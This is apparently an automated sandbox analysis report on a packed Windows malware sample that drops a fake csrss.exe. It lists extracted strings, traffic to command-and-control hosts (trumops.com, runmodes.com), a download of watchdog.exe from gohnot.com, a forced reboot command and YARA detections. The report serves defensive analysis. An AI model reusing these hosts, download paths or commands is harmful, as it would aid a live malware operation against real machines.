00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 4d 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 90 4d 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 70 2d 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 10 20 00 00 80 2d 00 00 10 20 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 90 4d 00 00 02 00 00 00 12 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELK p-M-M@MMUPX0p-UPX1 - @UPX2M @

Source: global traffic

HTTP traffic detected: POST /api/poll HTTP/1.1Host: server16.trumops.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 OPR/67.0.3575.79Content-Length: 652Accept-Encoding: gzip

Source: csrss.exe	String found in binary or memory: http://archive.org/details/archive.org_bot)Mozilla/5.0
Source: csrss.exe	String found in binary or memory: http://builtwith.com/biup)
Source: rlavBKPBEc.exe, 00000001.00000002.288266924.0000000004C66000.00000040.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.312788937.0000000004D29000.00000040.00000001.sdmp, csrss.exe, 00000012.00000002.529851874.0000000005200000.00000040.00000001.sdmp, csrss.exe, 00000013.00000002.370355183.0000000005200000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.413171135.0000000005200000.00000040.00000001.sdmp	String found in binary or memory: http://crl.g
Source: rlavBKPBEc.exe, 00000001.00000003.267147105.0000000005D0A000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.313497142.0000000005140000.00000040.00000001.sdmp, csrss.exe, 00000012.00000002.527733652.00000000009F9000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.377885297.00000000009F9000.00000040.00020000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: rlavBKPBEc.exe, 00000001.00000003.267147105.0000000005D0A000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.313497142.0000000005140000.00000040.00000001.sdmp, csrss.exe, 00000012.00000002.527733652.00000000009F9000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.377885297.00000000009F9000.00000040.00020000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: rlavBKPBEc.exe, 00000001.00000003.267147105.0000000005D0A000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.313497142.0000000005140000.00000040.00000001.sdmp, csrss.exe, 00000012.00000002.527733652.00000000009F9000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.377885297.00000000009F9000.00000040.00020000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: svchost.exe, 00000003.00000002.526070919.00000184DBA8C000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000003.00000002.526070919.00000184DBA8C000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: http://devlog.gregarius.net/docs/ua)Links
Source: csrss.exe	String found in binary or memory: http://gais.cs.ccu.edu.tw/robot.php)Gulper
Source: csrss.exe, 00000012.00000003.389984539.0000000016956000.00000004.00000001.sdmp	String found in binary or memory: http://gohnot.com/5da69a167bb34f8505b143410ac1db19
Source: csrss.exe, 00000012.00000002.534998250.00000000169B4000.00000004.00000001.sdmp, csrss.exe, 00000012.00000003.388755345.0000000016A82000.00000004.00000001.sdmp	String found in binary or memory: http://gohnot.com/5da69a167bb34f8505b143410ac1db19/watchdog.exe
Source: csrss.exe	String found in binary or memory: http://grub.org)Mozilla/5.0
Source: csrss.exe	String found in binary or memory: http://help.ya
Source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp	String found in binary or memory: http://https://_bad_pdb_file.pdb
Source: csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: http://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna:
Source: csrss.exe	String found in binary or memory: http://misc.yahoo.com.cn/he
Source: csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp	String found in binary or memory: http://newscommer.com/app/app.exe
Source: csrss.exe	String found in binary or memory: http://search.msn.com/msnb
Source: csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)msnbot/1.1
Source: csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)net/http:
Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)pkcs7:
Source: csrss.exe	String found in binary or memory: http://www.alexa.com/help/webmasters;
Source: csrss.exe	String found in binary or memory: http://www.archive.org/details/archive.org_bot)Opera/9.80
Source: csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: http://www.avantbrowser.com)MOT-V9mm/00.62
Source: csrss.exe	String found in binary or memory: http://www.baidu.com/search/spide
Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4
Source: svchost.exe, 00000009.00000002.314211606.0000027409C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: csrss.exe	String found in binary or memory: http://www.bloglines.com)F
Source: csrss.exe	String found in binary or memory: http://www.everyfeed.c
Source: csrss.exe	String found in binary or memory: http://www.exabot.com/go/robot)Opera/9.80
Source: csrss.exe	String found in binary or memory: http://www.google.com/adsbot.html)Encountered
Source: csrss.exe	String found in binary or memory: http://www.google.com/bot.html)Mozilla/5.0
Source: csrss.exe	String found in binary or memory: http://www.google.com/bot.html)tls:
Source: csrss.exe	String found in binary or memory: http://www.google.com/feedfetcher.html)HKLM
Source: csrss.exe	String found in binary or memory: http://www.googlebot.com/bot.html)Links
Source: csrss.exe	String found in binary or memory: http://www.spidersoft.com)Wget/1.9
Source: csrss.exe	String found in binary or memory: http://yandex.com/bots)Opera/9.51
Source: csrss.exe	String found in binary or memory: http://yandex.com/bots)Opera/9.80
Source: svchost.exe, 00000007.00000002.524018163.000001C038640000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000007.00000002.524018163.000001C038640000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000007.00000002.524018163.000001C038640000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: https://blockchain.infoindex
Source: svchost.exe, 00000007.00000002.524018163.000001C038640000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000007.00000002.524018163.000001C038640000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000009.00000003.313869384.0000027409C48000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000009.00000003.313904808.0000027409C40000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000009.00000003.313904808.0000027409C40000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000009.00000003.313904808.0000027409C40000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000009.00000003.313869384.0000027409C48000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000009.00000003.292142597.0000027409C31000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp	String found in binary or memory: https://logs.trumops.com
Source: csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp	String found in binary or memory: https://logs.trumops.comhttps://runmodes.com/api/loghttps://server16.trumops.comC:
Source: csrss.exe	String found in binary or memory: https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls:
Source: rlavBKPBEc.exe, 00000001.00000002.292941053.000000001600C000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp, csrss.exe, 00000013.00000002.378548538.0000000016810000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.416917396.0000000016852000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.388100482.00000000168C0000.00000004.00000001.sdmp	String found in binary or memory: https://retoti.com
Source: csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: https://retoti.comidentifier
Source: csrss.exe, 00000012.00000003.390601334.00000000168DE000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.534577900.00000000168DE000.00000004.00000001.sdmp	String found in binary or memory: https://runmodes.com/api/log
Source: csrss.exe, 00000012.00000003.390550830.00000000168EA000.00000004.00000001.sdmp	String found in binary or memory: https://runmodes.com/api/log0d29b283-e190-4dec-92fd-2f54e18287ce.uuid.trumops.com
Source: csrss.exe, 00000012.00000003.391261227.0000000016862000.00000004.00000001.sdmp, csrss.exe, 00000012.00000003.390601334.00000000168DE000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.com
Source: csrss.exe, 00000012.00000002.534847114.0000000016952000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.com/api/cdn?c=18fdfede72ff702e&uuid=0d29b283-e190-4dec-92fd-2f54e18287ce
Source: csrss.exe, 00000012.00000003.391261227.0000000016862000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.com/api/poll
Source: csrss.exe, 00000012.00000003.391261227.0000000016862000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.com/api/pollserver16.trumops.com
Source: csrss.exe, 00000012.00000002.534857824.0000000016964000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.com/bots/post-ia-data?uuid=0d29b283-e190-4dec-92fd-2f54e18287ce
Source: csrss.exe, 00000012.00000003.391261227.0000000016862000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.comc=18fdfede72ff702e&uuid=server16.trumops.com:443server16.trumops.com:443
Source: csrss.exe, 00000012.00000003.391261227.0000000016862000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.534247002.0000000016863000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.535086153.0000000016A04000.00000004.00000001.sdmp	String found in binary or memory: https://server16.trumops.comserver16.trumops.com:443server16.trumops.com:443tcpserver16.trumops.com
Source: csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: https://sitescore.aiValue
Source: svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.314211606.0000027409C13000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000009.00000003.292142597.0000027409C31000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000009.00000003.313904808.0000027409C40000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000009.00000003.292142597.0000027409C31000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000009.00000003.292142597.0000027409C31000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000009.00000003.313869384.0000027409C48000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: rlavBKPBEc.exe, 00000001.00000002.292941053.000000001600C000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.532839787.0000000016800000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp, csrss.exe, 00000013.00000002.378548538.0000000016810000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.416917396.0000000016852000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.388100482.00000000168C0000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.com
Source: csrss.exe	String found in binary or memory: https://trumops.com/api/install-failureinvalid
Source: rlavBKPBEc.exe, 00000001.00000002.292958192.0000000016010000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributorIDCampaignIDOS
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp, csrss.exe, 00000013.00000002.378548538.0000000016810000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.416917396.0000000016852000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.388100482.00000000168C0000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comServiceVersionServersVersionDistributorIDCampaignIDOSCaptionMic
Source: rlavBKPBEc.exe, 00000001.00000002.292941053.000000001600C000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comFirstInstallDateFirstInsta
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp, csrss.exe, 00000012.00000003.390526398.00000000168F2000.00000004.00000001.sdmp, csrss.exe, 00000013.00000002.378577012.0000000016814000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.416985738.0000000016858000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.388198508.00000000168CA000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comS-1-5-21-3853321935-212556
Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: https://trumops.comif-unmodified-sinceillegal
Source: csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: https://turnitin.com/robot/crawlerinfo.html)gentraceback

Source: unknown

DNS traffic detected: queries for: trumops.com

Source: global traffic	HTTP traffic detected: GET /api/cdn?c=18fdfede72ff702e&uuid=0d29b283-e190-4dec-92fd-2f54e18287ce HTTP/1.1Host: server16.trumops.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /5da69a167bb34f8505b143410ac1db19/watchdog.exe HTTP/1.1Host: gohnot.comUser-Agent: Go-http-client/1.1Uuid: 0d29b283-e190-4dec-92fd-2f54e18287ceVersion: 183Accept-Encoding: gzip

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 11 Nov 2021 21:25:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-powered-by: PHP/8.0.11CF-Cache-Status: DYNAMICExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LIZnh6xMbTgBJnOsAnA5MpvLzSNwQ2giSxppwEhe3s6mOFbzMzPDdR%2F0vyW%2Fe3oJ9Tkt9KdliHh7fQLbOVTuuX6iUVu4%2FynRQbsHcGzoIChMB3RzzpTlHe1NhPjFcooqZu2vgsyuug%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6aca973e3df975cc-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 11 Nov 2021 21:25:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-powered-by: PHP/8.0.11set-cookie: PHPSESSID=euj3j5ku0rft5a50n1ninhd9kh; path=/; HttpOnlyexpires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidatepragma: no-cacheaccess-control-allow-credentials: falseCF-Cache-Status: DYNAMICExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fcU4Am4%2FPfR3pJmbhWGFPWZwMdES%2FkKM2khchsVsOdD2UU7Lwy%2FVK0JoXxpIzFOD8VYpGkOW9wijftCaqlFoYf%2BaApRfSgNOoGy1R9f9f8jcd6iHOHv2ByUWzWKu7EP6omlovucdhw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6aca976599fe74e9-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Source: csrss.exe	String found in binary or memory: .30 Version/10.61facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)tls: received unexpected handshake message of type %T when waiting for %TBlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103Mozilla/5.0 (Windows NT equals www.facebook.com (Facebook)
Source: csrss.exe	String found in binary or memory: lla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)2695994666715063979466701508701962594045780771442439172168272236806126959946667150639794667015087019630673557916260026308143510066 equals www.facebook.com (Facebook)

Source: unknown

HTTP traffic detected: POST /api/log HTTP/1.1Host: runmodes.comUser-Agent: Go-http-client/1.1Content-Length: 144Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip

System Summary:

Uses shutdown.exe to shutdown or reboot the system

Show sources

Source: C:\Windows\rss\csrss.exe

Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5

Source: rlavBKPBEc.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rlavBKPBEc.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: csrss.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: csrss.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: rlavBKPBEc.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 6.2.rlavBKPBEc.exe.56ea8d0.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 26.2.csrss.exe.9ab080.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.9ab080.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.5caa8d0.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 1.2.rlavBKPBEc.exe.562a8d0.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 26.2.csrss.exe.5ca4f30.11.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 37.2.csrss.exe.5caa8d0.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
